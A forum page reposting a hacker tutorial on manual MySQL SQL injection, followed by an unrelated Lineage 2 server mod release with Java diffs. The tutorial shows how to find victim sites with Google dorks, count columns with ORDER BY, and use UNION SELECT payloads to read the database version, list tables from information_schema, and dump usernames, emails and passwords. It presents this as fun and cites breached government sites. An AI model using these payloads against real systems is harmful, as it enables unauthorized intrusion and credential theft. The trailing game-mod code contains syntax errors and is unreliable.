Jump to content

Recommended Posts

Posted

NOTE THIS : Sql injection is a big problem, even for the 'great' websites, some server's thats been hacked by MSSQL < almost the same thing, its the same principle.

US Army

NASA

NOD32 < taiwan and hongkong.

 

Tutorial written by: #BlackHat aka iSQL from h4cky0u.org so credits to him!

 

If you need ANY help, just PM me.

 

Contents

1A: Understanding SQL Injection

1B: Tricks & Tools

1C: Requirements

------

2A: Searching for Targets

2B: Testing Targets for Vulnerabilities

2C: Finding Columns

2D: Finding Vulnerable Columns

------

3A: Obtaining the SQL version

3B: Version 4

- 1. Obtaining Tables & Columns

- 2. Commands

3C: Version 5

- 1. Obtaining Table Names

- 2. Obtaining Column Names from Tables ------------------------------------------------------------------------

1A: Understanding SQL Injection

SQL Injection is one of todays most powerful methods of system penetration, using error

 

based queries one is able to extract data (tables & columns) from a vulnerable system,

 

namely the (database).

 

1B: Tricks & Tips

Beginners tend to believe that using tools created by advanced SQL injection artists are the

 

best way around things, please believe that they aren't, everything seems nice and easy with

 

tools such as (BSQLi and SQLi Helper) which they are, but the users posting the download

 

links for both applications around the world on hacking forums have been known to very

 

securely encrypt these tools with malicious files or backdoors etc, I've experienced this

 

first hand when I first started out. Learning everything manually will help you understand

 

the environment you are attempting to penetrate, whilst experimenting with commands you have

 

learnt will only help you become more advanced in SQL injection, as for tricks, there are

 

many articles named (Cheat Sheets) because this is what they are, purposely created for SQL

 

injectors to use commands which aren't normally spoken of or known about, Samples are

 

provided to allow the reader to get basic idea of a potential attack.

 

1C: Requirements:

When I first started SQL injection personally for me it wasn't to hard to get on the ball

 

and learn quickly, this is because I had previous knowledge of web-scripts, how the internet

 

works, and the ability to read and understand complicated tutorials. I believe it's a whole

 

lot easier if you know the basics of a computer system and how the internet works.

To learn you must be able to read and understand the tutorial or article provided and take

 

on board everything you see. When I was a beginner I found it easier to attack whilst

 

reading, do everything in stages, don't read the whole tutorial and go off and expect to

 

inject off the top of your head. ------------------------------------------------------------------------

2A Searching for Targets

Ahh, the beauty of searching for targets is a lot easier than it sounds, the most common

 

method of searching is (Dorks). Dorks are an input query into a search engine (Google) which

 

attempt to find websites with the given texxt provided in the dork itself. So navigate to

 

Google and copy the following into the search box:

inurl:"products.php?prodID="

This search will return websites affiliated with Google with "products.php?prodID=" within

 

the URL.

You can find a wide range of dorks to use by searching the forum.

I advise you to create your own dorks, be original, but at the same time unique, think of

 

something to use that not many people would have already searched and tested.

An example of a dork I would make up:

inurl:"/shop/index.php?item_id=" & ".co.uk"

So using your own dorks isn't a bad thing at all, sometimes your dorks wont work, nevermind

 

even I get it..

 

------------------------------------------------------------------------

2B: Testing Targets for Vulnerabilities

It's important that this part's done well. I'll explain this as simply as I can.

After opening a URL found in one of your dork results on Google you now need to test the

 

site if it's vulnerable to SQL injection.

 

Example:

http://www.site.com/index.php?Client_id=23

 

To test, just simply add an asterik ' at the end of the URL

 

Example:

http://www.site.com/index.php?Client_id=23'

 

How to tell if the sites vulnerable:

- Missing text, images, spaces or scripts from the original page.

- Any kind of typical SQL error (fetch_array) etc.

 

So if the website you're testing produces any of the above then the site is unfortunately

 

vulnerable, which is where the fun starts.

 

------------------------------------------------------------------------

2C: Finding Columns & the Vulnerable Columns

As I noted in the first section of the tutorial I advise you do pretty much everything

 

manually with SQL injection, so by using the following commands (providing they're followed

 

correctly) you will begin to see results in no time :D

 

Example:

http://www.site.com/index.php?Client_id=23'

^^^^^^^^^^^^^^^^^^^^^^^^

IF THE SITE IS VULNERABLE

Refer to the following to checking how many columns there are.

(order+by) the order by function tells the database to order columns by an integer (digit

 

e.g. 1 or 2), no errors returned means the column is there, if there's an error returned the

 

column isnt there

 

wxw.site.com/index.php?Client_id=23+order+by+1 < No Error

wxw.site.com/index.php?Client_id=23+order+by+2 < No Error

wxw.site.com/index.php?Client_id=23+order+by+3 < No Error

wxw.site.com/index.php?Client_id=23+order+by+4 < ERROR

 

From using order+by+ command and incremating the number each time until the page

 

displays an error is the easiest method to find vulnerable columns, so from the examples

 

above when attempting to order the columns by 4 there's an error, and so column 4 doesn't

 

exist, so there's 3 columns.

 

------------------------------------------------------------------------

2D: Finding Vulnerable Columns

Ok so let's say we were working on the site I used above, which has 3 columns. We now need

 

to find out which of those three coluns are vulnerable. Vulnerable columns allow us to

 

submit commands and queries to the SQL database through the URL. (union+select)

 

Selects all columns provided in the URL and returns the value of the vulnerable column e.g.

 

2.

 

Example:

wxw.site.com/index.php?Client_id=23+union+select+1,2,3

 

The site should refresh, not with an error but with some content missing and a number is

 

displayed on the page, either 1, 2 or 3 (as we selected the three columns in the above URL

 

to test for column vulnerability).

Sometimes the page will return and look completely normal, which isn't a problem. Some sites

 

you are required to null the value you're injecting into.

 

In simpler terms, the =23 you see in the above URL after Client_id must be nulled in order

 

to return with the vulnerable column. So we simply put a hyphen (minus sign) before the 23

 

like so: -23

So the URL should now look something like this:

 

wxw.site.com/index.php?Client_id=-23+union+select+1,2,3

 

Now that should work, let's say the page refreshes and displays a 2 on the page, thus 2

 

being the vulnerable column for us to inject into. ------------------------------------------------------------------------

3A: Obtaining the SQL Verison

Easier said than done, using the information found in the above sections e.g. amount of

 

columns and the vulnerable column. We now use a command (@@version) and in some cases

 

a series of commands to determine what the SQL version is on the current site. Version 4 or

 

version 5. See the example below to view what a URL should look like when the version

 

command has been inserted into the URL replacing the number 2 as 2 is the vulnerable column

 

on the example site.

 

Example:

wxw.site.com/index.php?Client_id=-23+union+select+1,@@version,3

 

What you need to look for is a series of numbers e.g:

5.0.89-community

4.0.45-log

 

If the above failes and the site just returns an error or displays normally then we need to

 

use the convert function in order for the server to understand the command, don't worry

 

though this is usually the only thing you need to convert and it's on a rare occasion where

 

this is the case.

 

So, if the example site returned an error we need to replace @@version with the convert()

 

function:

convert(@@version using latin1)

 

So the example site will now look like this:

wxw.site.com/index.php?Client_id=-23+union+select+1,convert(@@version using latin1),3

 

Now if the page still decides to not return the error then the query must be hexxed:

unhex(hex(@@version))

 

So the example site will now look like this:

wxw.site.com/index.php?Client_id=-23+union+select+1,unhex(hex(@@version)),3

 

Depending on which version the SQL server it is, whether it be 4, or 5 the queries for

 

obtaining data from both versions are different, version 4 and 5 tables are explained below

 

 

------------------------------------------------------------------------

3B Version 4

- 1. Obtaining Tables and Columns

 

You will notice that obtaining tables and columns from version 4 MySQL servers is a little

 

more time consuming and confusing at times as we have to guess pretty much everyhing.

 

Because version 5 is more up to date and has information_schema which the database and

 

tables are stored in, MySQL version 4 doesn't.

Providing the MySQL version of the website is 4, we must do the following.

 

So, back to the example URL:

wxw.site.com/index.php?Client_id=23+union+select+1,@@version,3

 

We must now go back to the original URL which is:

wxw.site.com/index.php?Client_id=23+union+select+1,2,3

 

This is where the guessing begins, we need to guess table names.

How can we tell if the table name I guess exists?

The same as where we tested for the amount of columns.

If no error is produced then the table guessed exists.

Is there is an error then the table guessed doesn't exist, so just try another.

So we use the (from) command followed by the table name you are looking to see

 

exists.

 

Example:

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin

 

Usual tables most people search for consist of obtaining user data, so again, be creative

 

just like with the dorks, common table names I use:

 

tbl_user, tbl_admin, tbl_access, user, users, member, members, admin, admins, customer,

 

customers, orders, phpbb_users, phpbb_admins

 

So if we tried the following as an example:

 

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin

^^^

Error

 

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from user

^^^

Error

 

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from users

^^^^^

No Error

 

Now which table do you think exists..?

:D The table users exists

 

We are now required to guess column names from the existing table. So thinking logically,

 

which labelled columns within this table would represent data? Columns such as:

first_name, last_name, email, username, password, pass, user_id

^^^^^^^^^^^^^^^^^^^^^^^^^

Typical columns found in the users table.

 

So we now must think back to which column is vulnerable (in this case 2) and so we'll use

 

the URL and replace 2 with the column name you are attempting to see if exists in the users

 

table. Let's try a few of the typicals listed above:

 

wxw.site.com/index.php?Client_id=23+union+select+1,f_name,3 from users

^^^^

Error

 

wxw.site.com/index.php?Client_id=23+union+select+1,l_name,3 from users

^^^

Error

 

wxw.site.com/index.php?Client_id=23+union+select+1,address1,3 from users

^^^

Error

 

wxw.site.com/index.php?Client_id=23+union+select+1,email,3 from users

^^^^^

No Error

 

From the above we can clearly see that the column email exists within the table users, the

 

page should return displaying data (most probably an email address) or the data you are

 

extracting i.e if you pulled password from users and the column exists the first password

 

within that column will be displayed on screen.

 

 

2. Commands

From here we will be able to use certain commands to determine the amount of data we pull

 

from the database or which exact record you wish to pull from a column.

 

concat()

 

We will now use the concat() function to extract data from multiple columns if only one

 

column is vulnerable, in this case remembering back the vulnerable column is 2, so we can

 

only query in within this space.

 

Command: concat(columnname1,0x3a,columnname2)

0x3a is the hex value of a semi-colon : so the output data from the query will be displayed

 

like:this

 

Example:

wxw.site.com/index.php?Client_id=23+union+select+1,concat(email,0x3a,password),3 from users

 

The above will output the first email and password found in the table.

 

group_concat():

 

We will now use the group_concat() function to group all data from one column and display

 

them on one page. Same as the above concat() command just grouping all records together and

 

displaying them as one.

 

Example:

wxw.site.com/index.php?Client_id=23+union+select+1,group_concat(email,0x3a,pass),3 from

 

users

 

Now the above should return ALL e-mails and passwords listed in the email and passwords

 

column within the users table.

 

limit 0,1

The limit command is somewhat useful if you're looking for a specific data record. Say for

 

instance we wanted to obtain the 250th record for emails in the table users. We would use:

 

limit 250,1

Thus displaying the 250th e-mail within the data.

 

Example:

wxw.site.com/index.php?Client_id=23+union+select+1,email,3+from+users+limit+250,1 ------------------------------------------------------------------------

Version 5

- 1. Obtaining Table Names

 

Now after that painstaking version 4 malakey lol, we're onto version 5, the easiest and

 

quickest version of MySQL to hack, so many things are already done for you, so realise the

 

possibilities and be imaginative.

 

Obtaining table names for version 5 MySQL servers is simple, using information_schema.tables

 

< For table extraction

 

So, example of the URL from earlier, but imagine it is now version 5

 

Example:

wxw.site.com/index.php?Client_id=-23+union+select+1,table_name,3+from+information_schema.tab

 

les

 

The above URL will display only the first table name which is listed in the database

 

information_schema. So using group_concat()

just like in version 4 works with the same principle.

 

Example:

wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3 from

 

information_schema.tables

 

We should now be able to see all the tables listed on one page, sometimes the last tables

 

will be cut off the end because a portion of the page will be covered in table names from

 

information_schema which aren't useful for us so really, I usually prefer to display table

 

names from the primary database rather than information_schema, we can do the following by

 

using the +where+table_schema=database() command:

where => A query for selection

table_schema => Schema of tables from a database

database() => In context the primary database, just leave it as it is.

 

Example:

wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3+from+informat

 

ion_schema.tables+where+table_schema=database()

 

Example List of tables:

About, Admin, Affiliates, Access, Customer, Users

 

Now all tables should be displayed from the primary database, take your pick and get ready

 

to extract columns.

 

 

2. Obtaining Column Names from Table Names

 

Ok, suggesting from the above we decided to obtain column information from the table Admin.

Using information_schema once again but this time we will be using:

informaiton_schema.columns

instead of

informtion_schema.tables (as we want to extract columns now, not tables)

 

The thing with obtaining column information is similar to the principle of obtaining columns in version 4, except we dont have to guess, once again just one command lists them all when combines with group_concat()

 

Command:

Edit the vulnerable column (in this case 2) to:

column_name instead of table_name

 

And the end of the URL to:

+from+information_schema.columns where table_name=TableNameHEX

 

Example:

wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=Admin

 

Now the above will return an error because of the way the command is used at the end of the URL (where table_name=Admin)

We must HEX the table name, in this case Admin

I use THIS website to for converting Text to Hex.

 

The HEX of Admin is: 41646d696e

Now we must add 0x (MySQL integer) at the front of the HEX, which should now look like this: 0x41646d696e

And pop it onto the end of the URL replacing Admin, so the URL should look something like the following.

 

Example:

wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=0x41646d696e

 

Now all columns from the table Admin will be displayed on the page, just the same as version 4 we will use the same command to extract data from certain columns within the table.

 

Say for instance the following columns were displayed:

username, password, id, admin_user

 

We would be able to do the same as version 4, replacing the vulnerable column (2) with a column name (one of the above) i.e. username and password using the concat() function.

 

Example:

wxw.site.com/index.php?Client_id=-23+union+select+1,concat(username,0x3a,password),3+from+Admin

 

Will display the first username and password data entries from the columns username and password in the table Admin.

 

You can still use group_concat() & limit 0,1

Exactly the same as version 4.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



  • Posts

    • [Release] Solo PvP Zone System 🔹 Compatible with: aCis 401+ 📜 Features: ✅ Automatic Exit on Restart: Players are removed from the zone if a restart occurs or logout. ✅ Custom Exit Command: Players can exit the Solo Zone with the voice command .exit. ✅ Teleport NPC Command: new bypass solopvp for gatekeeper. ✅ Random Name Generator: Generates random names. ✅ PvP Flag: The players are flagged within this zone.   xml preview & java code backup code -> https://pastebin.com/974V2p2p   SoloZone.xml <?xml version="1.0" encoding="UTF-8"?> <list> <zone shape="NPoly" minZ="-5200" maxZ="-4680"><!-- Frintezza Solo Zone --> <stat name="name" val="Solo PvP Zone" /> <stat name="locs" val="174244,-89089,-5112;174260,-86881,-5112;173184,-88090,-5112;175309,-88018,-5112;174231,-88019,-5112;175136,-88828,-5104;174962,-87025,-5104;173149,-87142,-5104;173470,-88908,-5112" /> <stat name="restrictedClasses" val="15,16,97" /> <node x="172031" y="-90127"/> <node x="176428" y="-90089"/> <node x="176428" y="-74051"/> <node x="172057" y="-74108"/> </zone> </list> SoloZone Code: diff --git a/java/net/sf/l2j/gameserver/taskmanager/SoloZoneTaskManager.java b/java/net/sf/l2j/gameserver/taskmanager/SoloZoneTaskManager.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/taskmanager/SoloZoneTaskManager.java @@ -0,0 +1,98 @@ +package net.sf.l2j.gameserver.taskmanager; + +import java.security.SecureRandom; +import java.util.ArrayList; +import java.util.logging.Logger; + +import net.sf.l2j.commons.random.Rnd; + +import net.sf.l2j.gameserver.data.manager.ZoneManager; +import net.sf.l2j.gameserver.enums.ZoneId; +import net.sf.l2j.gameserver.handler.voicecommandhandlers.VoiceExitSoloZone; +import net.sf.l2j.gameserver.model.World; +import net.sf.l2j.gameserver.model.actor.Player; +import net.sf.l2j.gameserver.model.location.Location; +import net.sf.l2j.gameserver.model.zone.type.SoloZone; + + +/** + * @author MarGaZeaS + */ +public class SoloZoneTaskManager implements Runnable { + + private static final Location EXIT_LOCATION = VoiceExitSoloZone.getExitLocation(); // Λαμβάνουμε την έξοδο από το VoiceExitSoloZone + + @Override + public void run() + { + // Διασχίζουμε όλους τους παίκτες του κόσμου + for (Player player : World.getInstance().getPlayers()) + { + // Ελέγχουμε αν ο παίκτης είναι στο SoloZone + if (player.isInsideZone(ZoneId.SOLO)) + { + // Μεταφέρουμε τον παίκτη στην έξοδο + player.teleportTo(EXIT_LOCATION.getX(), EXIT_LOCATION.getY(), EXIT_LOCATION.getZ(), 0); + player.sendMessage("The server is restarting, you have been moved out of the Solo Zone."); + } + } + } + + private int _id; + + private static final Logger _log = Logger.getLogger(SoloZoneTaskManager.class.getName()); + private static final ArrayList<String> _rndNames = new ArrayList<>(); + private static final int RANDOM_NAMES = 500; + private static final String CHARS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + private int _playersInSoloZone = 0; + + public int getPlayersInside() { + return _playersInSoloZone; + } + + public void setPlayersInside(int val) { + _playersInSoloZone = val; + } + + public SoloZoneTaskManager() { + _log.info("Solo Zone System: Loading..."); + for (int i = 0; i < RANDOM_NAMES; i++) { + String name = generateName(); + _rndNames.add(name); + _log.info("Generated name: " + name); + } + _log.info("Solo Zone System: Loaded " + _rndNames.size() + " names."); + } + + public String getAName() { + if (_rndNames.isEmpty()) { + _log.warning("SoloZoneManager: No random names available."); + return "Unknown"; + } + return _rndNames.get(Rnd.get(5, RANDOM_NAMES - 5)); + } + + private static String generateName() { + SecureRandom rnd = new SecureRandom(); + StringBuilder sb = new StringBuilder(15); + for (int i = 0; i < 15; i++) { + sb.append(CHARS.charAt(rnd.nextInt(CHARS.length()))); + } + return sb.toString(); + } + + public int getZoneId() + { + return _id; + } + + public final static SoloZone getCurrentZone() { + return ZoneManager.getInstance().getAllZones(SoloZone.class) + .stream() + .findFirst() // Επιστρέφει την πρώτη SoloZone (αν υπάρχει μόνο μία) + .orElse(null); + } + + public static SoloZoneTaskManager getInstance() { + return SingletonHolder._instance; + } + + private static class SingletonHolder { + private static final SoloZoneTaskManager _instance = new SoloZoneTaskManager(); + } +} diff --git a/aCis_gameserver/java/net/sf/l2j/gameserver/taskmanager/PvpFlagTaskManager.java b/aCis_gameserver/java/net/sf/l2j/gameserver/taskmanager/PvpFlagTaskManager.java index a707ce5..d247e2e 100644 --- a/aCis_gameserver/java/net/sf/l2j/gameserver/taskmanager/PvpFlagTaskManager.java final Player player = entry.getKey(); final long timeLeft = entry.getValue(); + if(player.isInsideZone(ZoneId.SOLO)) + continue; if(player.isInsideZone(ZoneId.BOSS)) continue; // Time is running out, clear PvP flag and remove from list. if (currentTime > timeLeft) diff --git a/aCis_gameserver/java/net/sf/l2j/gameserver/network/clientpackets/RequestCharacterCreate.java b/aCis_gameserver/java/net/sf/l2j/gameserver/network/clientpackets/RequestCharacterCreate.java index a707ce5..d247e2e 100644 +++ b/aCis_gameserver/java/net/sf/l2j/gameserver/network/clientpackets/RequestCharacterCreate.java if (Config.ALLOW_FISH_CHAMPIONSHIP) FishingChampionshipManager.getInstance(); + if (Config.ENABLE_STARTUP) + StartupManager.getInstance(); diff --git a/java/net/sf/l2j/gameserver/handler/admincommandhandlers/AdminMaintenance.java b/java/net/sf/l2j/gameserver/handler/admincommandhandlers/AdminMaintenance.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/handler/admincommandhandlers/AdminMaintenance.java if (!st.hasMoreTokens()) { sendHtmlForm(player); return; } try { switch (st.nextToken()) { case "shutdown": + SoloZoneTaskManager exitTask = new SoloZoneTaskManager(); + ThreadPool.schedule(exitTask, 0); Shutdown.getInstance().startShutdown(player, null, Integer.parseInt(st.nextToken()), false); break; case "restart": + exitTask = new SoloZoneTaskManager(); + ThreadPool.schedule(exitTask, 0); Shutdown.getInstance().startShutdown(player, null, Integer.parseInt(st.nextToken()), true); break; case "abort": Shutdown.getInstance().abort(player); break; diff --git a/java/net/sf/l2j/gameserver/handler/voicecommandhandlers/VoiceExitSoloZone.java b/java/net/sf/l2j/gameserver/handler/voicecommandhandlers/VoiceExitSoloZone.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/handler/voicecommandhandlers/VoiceExitSoloZone.java +package net.sf.l2j.gameserver.handler.voicecommandhandlers; + +import net.sf.l2j.commons.pool.ThreadPool; + +import net.sf.l2j.gameserver.enums.ZoneId; +import net.sf.l2j.gameserver.handler.IVoiceCommandHandler; +import net.sf.l2j.gameserver.model.actor.Player; +import net.sf.l2j.gameserver.model.location.Location; +import net.sf.l2j.gameserver.network.serverpackets.MagicSkillUse; + +/** + * Handles the voice command for exiting the Solo Zone with delay and effects. + * + * @author MarGaZeaS + */ +public class VoiceExitSoloZone implements IVoiceCommandHandler +{ + private static final String[] VOICE_COMMANDS = + { + "exit" + }; + + // Default location to teleport players when exiting the Solo Zone + private static final Location EXIT_LOCATION = new Location(81318, 148064, -3464); // Replace with your desired coordinates + + // Προσθήκη της μεθόδου για να πάρουμε την τοποθεσία εξόδου + public static Location getExitLocation() { + return EXIT_LOCATION; + } + + @Override + public void useVoiceCommand(Player player, String command) + { + if (command.equalsIgnoreCase("exit")) + { + if (!player.isInsideZone(ZoneId.SOLO)) + { + player.sendMessage("You are not inside the Solo Zone."); + return; + } + + // Notify the player about the delay + player.sendMessage("You will be teleported out of the Solo Zone in 2 seconds."); + + // Cast skill effect (Skill ID: 2100, Level: 1) + player.broadcastPacket(new MagicSkillUse(player, player, 2100, 1, 2000, 0)); + + // Schedule the teleportation after a 2-second delay + ThreadPool.schedule(() -> { + // Teleport the player to the designated exit location + player.teleportTo(EXIT_LOCATION.getX(), EXIT_LOCATION.getY(), EXIT_LOCATION.getZ(), 0); + + // Inform the player + player.sendMessage("You have exited the Solo Zone."); + }, 2000); // Delay in milliseconds (2000ms = 2 seconds) + } + } + + @Override + public String[] getVoiceCommandList() + { + return VOICE_COMMANDS; + } +} diff --git a/java/net/sf/l2j/gameserver/handler/VoiceCommandHandler.java b/java/net/sf/l2j/gameserver/handler/VoiceCommandHandler.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/handler/VoiceCommandHandler.java public class VoiceCommandHandler { private final Map<String, IVoiceCommandHandler> _entries = new HashMap<>(); protected VoiceCommandHandler() { ............ ............ + registerHandler(new VoiceExitSoloZone()); } public void registerHandler(IVoiceCommandHandler handler) { for (String command : handler.getVoiceCommandList()) _entries.put(command, handler); } diff --git a/java/net/sf/l2j/gameserver/model/actor/Npc.java b/java/net/sf/l2j/gameserver/model/actor/Npc.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/model/actor/Npc.java else if (command.startsWith("Chat")) { int val = 0; try { val = Integer.parseInt(command.substring(5)); } catch (final IndexOutOfBoundsException ioobe) { } catch (final NumberFormatException nfe) { } showChatWindow(player, val); + ) + else if (command.startsWith("solopvp")) + { + SoloZoneTaskManager.getInstance(); + player.teleportTo(SoloZoneTaskManager.getCurrentZone().getLoc(), 25); + } else if (command.startsWith("Link")) { final String path = command.substring(5).trim(); if (path.indexOf("..") != -1) return; final NpcHtmlMessage html = new NpcHtmlMessage(getObjectId()); html.setFile("data/html/" + path); html.replace("%objectId%", getObjectId()); player.sendPacket(html); } diff --git a/java/net/sf/l2j/gameserver/network/clientpackets/RequestRestartPoint.java b/java/net/sf/l2j/gameserver/network/clientpackets/RequestRestartPoint.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/network/clientpackets/RequestRestartPoint.java // Fixed. - else if (_requestType == 4) - { - if (!player.isGM() && !player.isFestivalParticipant()) - return; - - loc = player.getPosition(); - } + if (_requestType == 4) + { + // Έλεγχος αν ο παίκτης δεν είναι GM, δεν είναι μέρος του φεστιβάλ και δεν είναι στην Solo Zone + if (!player.isGM() && !player.isFestivalParticipant() && !player.isInsideZone(ZoneId.SOLO)) + { + return; + } + + SoloZoneTaskManager.getInstance(); + SoloZone currentZone = SoloZoneTaskManager.getCurrentZone(); + if (currentZone != null && currentZone.getLoc() != null) + { + // Αν υπάρχει ζώνη και οι τοποθεσίες δεν είναι κενές, χρησιμοποιούμε τυχαία τοποθεσία από την ζώνη + loc = currentZone.getLoc(); + } else + { + // Διαφορετικά, κάνουμε respawn στην τρέχουσα θέση του παίκτη + loc = player.getPosition(); + } + } diff --git a/java/net/sf/l2j/gameserver/network/clientpackets/RequestRestart.java b/java/net/sf/l2j/gameserver/network/clientpackets/RequestRestart.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/network/clientpackets/RequestRestart.java if (player.isFestivalParticipant() && FestivalOfDarknessManager.getInstance().isFestivalInitialized()) { player.sendPacket(SystemMessageId.NO_RESTART_HERE); sendPacket(RestartResponse.valueOf(false)); return; } + if (player.isInsideZone(ZoneId.SOLO)) + { + player.sendMessage("You cannot restart your character while in Solo Zone. Use .exit to leave"); + player.setFakeName(null); + sendPacket(RestartResponse.valueOf(false)); + return; + } player.removeFromBossZone(); diff --git a/java/net/sf/l2j/gameserver/network/clientpackets/Logout.java b/java/net/sf/l2j/gameserver/network/clientpackets/Logout.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/network/clientpackets/Logout.java player.removeFromBossZone(); player.logout(true); } } + + if (player.isInsideZone(ZoneId.SOLO)) + { + player.sendMessage("You cannot logout or restart your character while in Solo Zone. Use .exit to leave"); + player.setFakeName(null); + player.sendPacket(ActionFailed.STATIC_PACKET); + return; + } + player.removeFromBossZone(); player.logout(true); } } diff --git a/java/net/sf/l2j/gameserver/model/zone/type/SoloZone.java b/java/net/sf/l2j/gameserver/model/zone/type/SoloZone.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/model/zone/type/SoloZone.java +package net.sf.l2j.gameserver.model.zone.type; + +import java.util.ArrayList; +import java.util.List; +import java.util.Random; + +import net.sf.l2j.commons.random.Rnd; + +import net.sf.l2j.Config; +import net.sf.l2j.gameserver.enums.MessageType; +import net.sf.l2j.gameserver.enums.ZoneId; +import net.sf.l2j.gameserver.handler.voicecommandhandlers.VoiceExitSoloZone; +import net.sf.l2j.gameserver.model.World; +import net.sf.l2j.gameserver.model.actor.Creature; +import net.sf.l2j.gameserver.model.actor.Player; +import net.sf.l2j.gameserver.model.location.Location; +import net.sf.l2j.gameserver.model.zone.type.subtype.ZoneType; +import net.sf.l2j.gameserver.network.SystemMessageId; +import net.sf.l2j.gameserver.network.serverpackets.EtcStatusUpdate; +import net.sf.l2j.gameserver.taskmanager.PvpFlagTaskManager; +import net.sf.l2j.gameserver.taskmanager.SoloZoneTaskManager; + +/** + * @author MarGaZeaS + * + */ +public class SoloZone extends ZoneType +{ + private String _name; + private List<Location> _locations = new ArrayList<>(); + + public SoloZone(int id) + { + super(id); + } + + @Override + public void setParameter(String name, String value) + { + if (name.equals("name")) + _name = value; + else if (name.equals("locs")) + { + for (String locs : value.split(";")) + { + String[] coordinates = locs.split(","); + if (coordinates.length == 3) + { + int x = Integer.parseInt(coordinates[0]); + int y = Integer.parseInt(coordinates[1]); + int z = Integer.parseInt(coordinates[2]); + _locations.add(new Location(x, y, z)); + } + else + { + LOGGER.warn("Invalid location format: " + locs); + } + } + } + } + + + @Override + protected void onEnter(Creature character) + { + if (character instanceof Player) + { + final Player player = (Player) character; + + if ((player.getClassId().getId() == 15 || player.getClassId().getId() == 16 || player.getClassId().getId() == 97)) + { + Location respawnLocation = VoiceExitSoloZone.getExitLocation(); + player.instantTeleportTo(respawnLocation, 20); + player.sendMessage("Your class is not allowed in this zone."); + return; + } + + String randomName = SoloZoneTaskManager.getInstance().getAName(); + if (randomName == null || randomName.isEmpty() || !isValidName(randomName)) + { + randomName = generateRandomName(); + } + if (isNameAlreadyTaken(randomName)) + { + randomName = generateRandomName(); + } + player.setFakeName(randomName); + player.sendMessage("Welcome to the Solo Zone, your random name is: " + randomName); + player.sendPacket(SystemMessageId.ENTERED_COMBAT_ZONE); + character.setInsideZone(ZoneId.SOLO, true); + character.setInsideZone(ZoneId.NO_STORE, true); + character.setInsideZone(ZoneId.NO_SUMMON_FRIEND, true); + + if (player.getParty() != null) + { + player.getParty().removePartyMember(player, MessageType.DISCONNECTED); + } + + if (player.getPvpFlag() > 0) + PvpFlagTaskManager.getInstance().remove(player, true); + + player.updatePvPStatus(); + player.broadcastUserInfo(); + } + } + + private static boolean isValidName(String name) { + return name.matches("[a-zA-Z0-9_]+"); + } + + private static String generateRandomName() { + Random rand = new Random(); + int nameLength = rand.nextInt(12) + 4; + StringBuilder nameBuilder = new StringBuilder(); + + for (int i = 0; i < nameLength; i++) { + char randomChar = (char) (rand.nextInt(26) + 'a'); + nameBuilder.append(randomChar); + } + + return nameBuilder.toString(); + } + + private static boolean isNameAlreadyTaken(String name) { + return World.getInstance().getPlayers().stream().anyMatch(player -> player.getFakeName().equals(name)); + } + + @Override + protected void onExit(Creature character) + { + character.setInsideZone(ZoneId.SOLO, false); // Solo zone + character.setInsideZone(ZoneId.NO_STORE, false); // Allow making a store + character.setInsideZone(ZoneId.NO_SUMMON_FRIEND, false); // Allow summon + + if (character instanceof Player) + { + final Player player = (Player) character; + + if (player.getFakeName() != null) + { + player.setFakeName(null); + } + + player.sendPacket(SystemMessageId.LEFT_COMBAT_ZONE); + { + if(!player.isInObserverMode() && player.getPvpFlag() > 0) + PvpFlagTaskManager.getInstance().add(player, Config.PVP_NORMAL_TIME); + + player.sendPacket(new EtcStatusUpdate(player)); + player.broadcastUserInfo(); + } + } + } + + public String getName() + { + return _name; + } + + public Location getLoc() + { + if (_locations.isEmpty()) + { + return null; // Αν η λίστα είναι κενή, επιστρέφουμε null + } + return _locations.get(Rnd.get(0, _locations.size() - 1)); // Επιλέγουμε τυχαία τοποθεσία + } +} diff --git a/java/net/sf/l2j/gameserver/GameServer.java b/java/net/sf/l2j/gameserver/GameServer.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/GameServer.java if (Config.ALLOW_FISH_CHAMPIONSHIP) FishingChampionshipManager.getInstance(); + StringUtil.printSection("Custom Features"); + SoloZoneTaskManager.getInstance(); StringUtil.printSection("Handlers"); LOGGER.info("Loaded {} admin command handlers.", AdminCommandHandler.getInstance().size()); diff --git a/java/net/sf/l2j/gameserver/GameServer.java b/java/net/sf/l2j/gameserver/Shutdown.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/Shutdown.java // disconnect players try { disconnectAllPlayers(); LOGGER.info("All players have been disconnected."); } catch (Exception e) { // Silent catch. } + // Restore real names for players in SoloZone + restoreRealNamesInSoloZone(); // stop all threadpolls ThreadPool.shutdown(); try { LoginServerThread.getInstance().interrupt(); } catch (Exception e) { // Silent catch. } // avoids new players from logging in if (_secondsShut <= 60 && LoginServerThread.getInstance().getServerType() != ServerType.DOWN) 